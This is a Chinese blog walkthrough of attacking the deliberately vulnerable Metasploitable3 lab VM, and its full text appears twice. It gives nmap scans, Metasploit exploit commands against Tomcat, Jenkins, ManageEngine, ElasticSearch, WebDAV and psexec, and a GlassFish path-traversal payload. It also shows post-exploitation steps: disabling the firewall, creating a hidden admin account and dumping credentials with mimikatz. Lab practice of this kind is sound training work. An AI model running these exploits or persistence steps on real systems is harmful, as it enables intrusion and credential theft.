metasploitable3
一、环境搭建
介绍
该靶场与2不同,可自定义镜像操作系统,由于版权等原因,该靶场最好使用virtualbox搭建,使用VMware搭建可能会有无法连接网络等问题。
考虑需要培养线下无联网实战能力的原因,本次原则上只用kali里自带的工具,下次再推一些好用的工具。
本靶机可能内置一些安全机制,比如防火墙,权限设置等,另设ctf(藏有flag);此外,Metasploitable 3中有些漏洞在 Metasploit 中并没有漏洞利用模块,需要手工挖掘。
参考:https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
1.搭建环境
搭建挺麻烦的,你也可以自己在网上搜索metaspolitable3搭建教程
。
这里附上搭好的win2008R2环境,某度云链接: 可直接导入VMware,打开vmx就行了
账号密码:vagrant/vagrant
改nat网卡为dhcp,之前设置过静态IP地址
![image-20230224202347564](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164052148-164689793.png)
![image-20230225130355810](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164051767-1434887643.png)
2.kaliIP
![image-20230225130317674](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164051437-1344365208.png)
二、信息收集
sudo nmap -p0-65535 -sS 192.168.1.139
![image-20230224132112564](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164050889-22536833.png)
![image-20230225141017426](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164050499-1466721765.png)
- GlassFish
- Apache Struts
- Tomcat
- Jenkins
- IIS FTP
- IIS HTTP
- psexec
- SSH
- WinRM
- chinese caidao
- ManageEngine
- ElasticSearch
- Apache Axis2
- WebDAV
- SNMP
- MySQL
- JMX
- Wordpress
- SMB
- Remote Desktop
- PHPMyAdmin
21 Microsoft ftpd
22 OpenSSH 7.1
80 IIS httpd 7.5
1617 java-rmi
4848 Oracle GlassFish
5985 Microsoft-HTTPAPI/2.0
8022 Tomcat
8484 Oracle GlassFish 4.0
8585
8080
8282
8484 Jetty winstone-2.8
8585/tcp open http Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
9200 wap-wsp?
49153 msrpc
49154
49203 Java RM+
49205 tcpwrapped
三、打靶
思路:由于这是针对内网中主机,一般都是从高危端口开始,外网是一般不可能给你开放这么多端口的,我们就正常从开放的Web服务开始打。
开放Web服务:
http://192.168.1.134/
https://192.168.1.139:4848/
http://192.168.1.134:8022/
http://192.168.1.139:8080/
http://192.168.1.134:8282/
http://192.168.1.139:8484/
http://192.168.1.134:8585/
http://192.168.1.139:9200/
80:http服务
目录扫描
![image-20230225130038385](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164050059-1683012584.png)
发现一些文件,我们查看并访问,发现是iis的指纹,推测iis短文件名漏洞
![image-20230224234241510](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164049684-1018396784.png)
这里推荐一款工具: GitHub上面的codetest
![image-20230225131600319](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164049256-446754293.png)
http://192.168.1.139/caidao.asp
泄露的webshell
![image-20230225145631120](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164048816-332252246.png)
![image-20230225145924803](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164048291-404362789.png)
![image-20230225145938362](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164047898-1019381547.png)
这种方法不止使用caidao哈,之前还以为真中国菜刀才能连呢,才发现caidao是我们中国人webshell的统称。蚁剑生成的shell连接测试成功,所以此模块可以用来爆破别人传的webshell。
![image-20230225172238147](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164047422-1883294900.png)
4848 GlassFish
1.弱口令
查看并搜索相关信息:GlassFish 4848 默认密码
![image-20230225174807217](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164047016-1277856260.png)
默认密码失败。![image-20230225174418459](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164046614-597739975.png)
知道有admin账户,并且是明文传输,可以对admin账户的密码进行爆破
![image-20230225175215792](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164046171-1952298953.png)
账号密码:admin/sploit
2.任意文件读取漏洞
漏洞描述:GlassFish由于开启了本地文件包含函数,并攻击者可以利用跳转的方式进行本地任意文件读取。
payload:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
![image-20230225193044639](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164045578-1854767304.png)
8022 ManageEngine
1.默认密码弱口令
根据指纹,查找该Web服务的弱口令
![image-20230225193155960](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164044933-859151845.png)
ManageEngine Desktop Central 9 admin
![image-20230225193245055](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164044539-1901707.png)
![image-20230225193330149](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164044122-139559975.png)
2.ManageEngine Desktop Central 9任意文件上传漏洞 CVE-2015-8249
use exploit/windows/http/manageengine_connectionid_write
> set rhosts 192.168.56.101
> set rport 8022
> set lhost 192.168.56.102
> exploit
![image-20230225195047558](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164043564-683119743.png)
8282 tomact
1.后台弱口令
scanner/http/tomcat_mgr_login
![image-20230225200602751](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164043125-283251816.png)
2.反弹shell
上一步拿到账号密码
使用模块:
multi/http/tomcat_mgr_upload
# 使⽤tomcat的tomcat_mgr_upload exp
msf6 > use exploit/multi/http/tomcat_mgr_upload
# 查看exp的使⽤说明
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
# 配置
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.139
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8282
msf6 exploit(multi/http/tomcat_mgr_upload) > run
![image-20230225203142446](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164042704-116269933.png)
8484 JenKins
1.未授权访问控制台,命令执行
![image-20230225203954265](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164042278-52790201.png)
![image-20230225204820859](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164041847-2050170309.png)
2.下一步getshell
use exploit/multi/http/jenkins_script_console
set rhost 192.168.1.139
set rport 8484
set targeturi / #这里跟的是控制台路径,默认是/Jenkins,之前一直没成功就是因为这个的问题,多show options
run
![image-20230225211322566](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164040707-939423084.png)
8585 WebDAV
![image-20230225212419292](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164040317-928347166.png)
漏洞描述: WebDAV PUT写文件,如果 IIS在 Web服务扩展中开启了 WebDAV,并且网站主目录允许用户持有读写权限,那么就可以进行 PUT写文件操作。如果允许脚本资源访问,那么可以直接写入可执行文件进行 Getshell。
davtest是一个文件上传漏洞的检测和验证工具,通过KaLi工具DAVTest将发送各种不同类型的文件,以确定可以上传的文件用它来验证是否存在文件上传。
davtest /home/kali/test.php -url http://192.168.1.139:8585/uploads/
![image-20230225212529832](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164039925-1293035949.png)
连接shell
![img](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164039503-963227326.png)
wordpress
http://192.168.1.135:8585/wordpress/
unix/webapp/wp_ninja_forms_unauthenticated_file_upload
phpmyadmin
http://192.168.1.135:8585/phpmyadmin
multi/http/phpmyadmin_preg_replace
9200 ElasticSearch
ElasticSearch RCE(CVE-2014-3120)
![image-20230225221339720](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164039092-2011355838.png)
Elasticsearch是一个实时分布式、开源的全文搜索和分析引擎,Elasticsearch是用Java开发的开源产品,可以自动索引JSON文档。
使用nmap扫描目标主机。我用的是快速syn扫描方法,结果显示目标主机由于传输协议存在错误,导致存在漏洞。
nmap -sS -sV -T4 -v -n --open --reason 10.0.2.6
![Image for post](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164038385-2120086227.png)
exploit/multi/elasticsearch/script_mvel_rce
set rhost 192.168.1.135
run
![image-20230227124311441](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164037713-237966011.png)
meterpreter >shell
netsh advfirewall firewall add rule name="allowRemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
关闭防火墙或开启3389入站规则
netsh firwall set opmode disable
创建隐藏用户
net user admin admin@123 /add
net localgroup administrators admin /add
开启本地转发
meterpreter > portfwd add -l 7777 -p 3389 -r 192.168.1.135
kali:rdesktop 127.0.0.1:7777
![image-20230227133546793](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164037267-1368920793.png)
抓取用户hash
meterpreter >upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:/tmp
rdesk运行
privilege::debug
sekurlsa::logonpasswords
![image-20230227142255720](/i/l/?n=23&i=blog/2859604/202304/2859604-20230414164036259-478222482.png)
端口
端口:21 IIS 爆破
auxiliary/scanner/ftp/ftp_login
端口:22 爆破 vagrant/vagrant
auxiliary/scanner/ssh/ssh_login
139NetBIOS 445 - SMB
PsExec实际上是一个可让你在其他系统上执行远程命令的可执行文件。要执行命令,你必须要有远程主机的本地管理员凭证。目标主机上的多个用户存在弱口令,这些口令可以轻易的被枚举出来并用于psexec执行远程代码。PsExec运行在445端口,我们可以在目标主机上获得命令交互,不过会被安全软件检测到。
exploits/windows/smb/psexec
set rhost 192.168.1.135
set SMBuser vagrant
set SMBpass vagrant
run
161 snmp
auxiliary/scanner/snmp/snmp_enum
1617 jmx
multi/misc/java_jmx_server
3306
windows/mysql/mysql_payload
5985 WinRM
auxiliary/scanner/winrm/winrm_cmd
auxiliary/scanner/winrm/winrm_wql
auxiliary/scanner/winrm/winrm_login
auxiliary/scanner/winrm/winrm_auth_methods
exploits/windows/winrm/winrm_script_exec
标签:multi,set,http,打靶,192.168,c0%,upload,Metasploitable3
From: https://www.cnblogs.com/via-liabs/p/17318833.html
一、环境搭建
介绍
该靶场与2不同,可自定义镜像操作系统,由于版权等原因,该靶场最好使用virtualbox搭建,使用VMware搭建可能会有无法连接网络等问题。
考虑需要培养线下无联网实战能力的原因,本次原则上只用kali里自带的工具,下次再推一些好用的工具。
本靶机可能内置一些安全机制,比如防火墙,权限设置等,另设ctf(藏有flag);此外,Metasploitable 3中有些漏洞在 Metasploit 中并没有漏洞利用模块,需要手工挖掘。
参考:https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
1.搭建环境
搭建挺麻烦的,你也可以自己在网上搜索metaspolitable3搭建教程
。
这里附上搭好的win2008R2环境,某度云链接: 可直接导入VMware,打开vmx就行了
账号密码:vagrant/vagrant
改nat网卡为dhcp,之前设置过静态IP地址
2.kaliIP
二、信息收集
sudo nmap -p0-65535 -sS 192.168.1.139
- GlassFish
- Apache Struts
- Tomcat
- Jenkins
- IIS FTP
- IIS HTTP
- psexec
- SSH
- WinRM
- chinese caidao
- ManageEngine
- ElasticSearch
- Apache Axis2
- WebDAV
- SNMP
- MySQL
- JMX
- Wordpress
- SMB
- Remote Desktop
- PHPMyAdmin
21 Microsoft ftpd
22 OpenSSH 7.1
80 IIS httpd 7.5
1617 java-rmi
4848 Oracle GlassFish
5985 Microsoft-HTTPAPI/2.0
8022 Tomcat
8484 Oracle GlassFish 4.0
8585
8080
8282
8484 Jetty winstone-2.8
8585/tcp open http Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
9200 wap-wsp?
49153 msrpc
49154
49203 Java RM+
49205 tcpwrapped
三、打靶
思路:由于这是针对内网中主机,一般都是从高危端口开始,外网是一般不可能给你开放这么多端口的,我们就正常从开放的Web服务开始打。
开放Web服务:
http://192.168.1.134/
https://192.168.1.139:4848/
http://192.168.1.134:8022/
http://192.168.1.139:8080/
http://192.168.1.134:8282/
http://192.168.1.139:8484/
http://192.168.1.134:8585/
http://192.168.1.139:9200/
80:http服务
目录扫描
发现一些文件,我们查看并访问,发现是iis的指纹,推测iis短文件名漏洞
这里推荐一款工具: GitHub上面的codetest
http://192.168.1.139/caidao.asp
泄露的webshell
这种方法不止使用caidao哈,之前还以为真中国菜刀才能连呢,才发现caidao是我们中国人webshell的统称。蚁剑生成的shell连接测试成功,所以此模块可以用来爆破别人传的webshell。
4848 GlassFish
1.弱口令
查看并搜索相关信息:GlassFish 4848 默认密码
默认密码失败。
知道有admin账户,并且是明文传输,可以对admin账户的密码进行爆破
账号密码:admin/sploit
2.任意文件读取漏洞
漏洞描述:GlassFish由于开启了本地文件包含函数,并攻击者可以利用跳转的方式进行本地任意文件读取。
payload:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
8022 ManageEngine
1.默认密码弱口令
根据指纹,查找该Web服务的弱口令
ManageEngine Desktop Central 9 admin
2.ManageEngine Desktop Central 9任意文件上传漏洞 CVE-2015-8249
use exploit/windows/http/manageengine_connectionid_write
> set rhosts 192.168.56.101
> set rport 8022
> set lhost 192.168.56.102
> exploit
8282 tomact
1.后台弱口令
scanner/http/tomcat_mgr_login
2.反弹shell
上一步拿到账号密码
使用模块:
multi/http/tomcat_mgr_upload
# 使⽤tomcat的tomcat_mgr_upload exp
msf6 > use exploit/multi/http/tomcat_mgr_upload
# 查看exp的使⽤说明
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
# 配置
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername sploit
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.139
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8282
msf6 exploit(multi/http/tomcat_mgr_upload) > run
8484 JenKins
1.未授权访问控制台,命令执行
2.下一步getshell
use exploit/multi/http/jenkins_script_console
set rhost 192.168.1.139
set rport 8484
set targeturi / #这里跟的是控制台路径,默认是/Jenkins,之前一直没成功就是因为这个的问题,多show options
run
8585 WebDAV
漏洞描述: WebDAV PUT写文件,如果 IIS在 Web服务扩展中开启了 WebDAV,并且网站主目录允许用户持有读写权限,那么就可以进行 PUT写文件操作。如果允许脚本资源访问,那么可以直接写入可执行文件进行 Getshell。
davtest是一个文件上传漏洞的检测和验证工具,通过KaLi工具DAVTest将发送各种不同类型的文件,以确定可以上传的文件用它来验证是否存在文件上传。
davtest /home/kali/test.php -url http://192.168.1.139:8585/uploads/
连接shell
wordpress
http://192.168.1.135:8585/wordpress/
unix/webapp/wp_ninja_forms_unauthenticated_file_upload
phpmyadmin
http://192.168.1.135:8585/phpmyadmin
multi/http/phpmyadmin_preg_replace
9200 ElasticSearch
ElasticSearch RCE(CVE-2014-3120)
Elasticsearch是一个实时分布式、开源的全文搜索和分析引擎,Elasticsearch是用Java开发的开源产品,可以自动索引JSON文档。
使用nmap扫描目标主机。我用的是快速syn扫描方法,结果显示目标主机由于传输协议存在错误,导致存在漏洞。
nmap -sS -sV -T4 -v -n --open --reason 10.0.2.6
exploit/multi/elasticsearch/script_mvel_rce
set rhost 192.168.1.135
run
meterpreter >shell
netsh advfirewall firewall add rule name="allowRemoteDesktop" protocol=TCP dir=in localport=3389 action=allow
关闭防火墙或开启3389入站规则
netsh firwall set opmode disable
创建隐藏用户
net user admin admin@123 /add
net localgroup administrators admin /add
开启本地转发
meterpreter > portfwd add -l 7777 -p 3389 -r 192.168.1.135
kali:rdesktop 127.0.0.1:7777
抓取用户hash
meterpreter >upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:/tmp
rdesk运行
privilege::debug
sekurlsa::logonpasswords
端口
端口:21 IIS 爆破
auxiliary/scanner/ftp/ftp_login
端口:22 爆破 vagrant/vagrant
auxiliary/scanner/ssh/ssh_login
139NetBIOS 445 - SMB
PsExec实际上是一个可让你在其他系统上执行远程命令的可执行文件。要执行命令,你必须要有远程主机的本地管理员凭证。目标主机上的多个用户存在弱口令,这些口令可以轻易的被枚举出来并用于psexec执行远程代码。PsExec运行在445端口,我们可以在目标主机上获得命令交互,不过会被安全软件检测到。
exploits/windows/smb/psexec
set rhost 192.168.1.135
set SMBuser vagrant
set SMBpass vagrant
run
161 snmp
auxiliary/scanner/snmp/snmp_enum
1617 jmx
multi/misc/java_jmx_server
3306
windows/mysql/mysql_payload
5985 WinRM
auxiliary/scanner/winrm/winrm_cmd
auxiliary/scanner/winrm/winrm_wql
auxiliary/scanner/winrm/winrm_login
auxiliary/scanner/winrm/winrm_auth_methods
exploits/windows/winrm/winrm_script_exec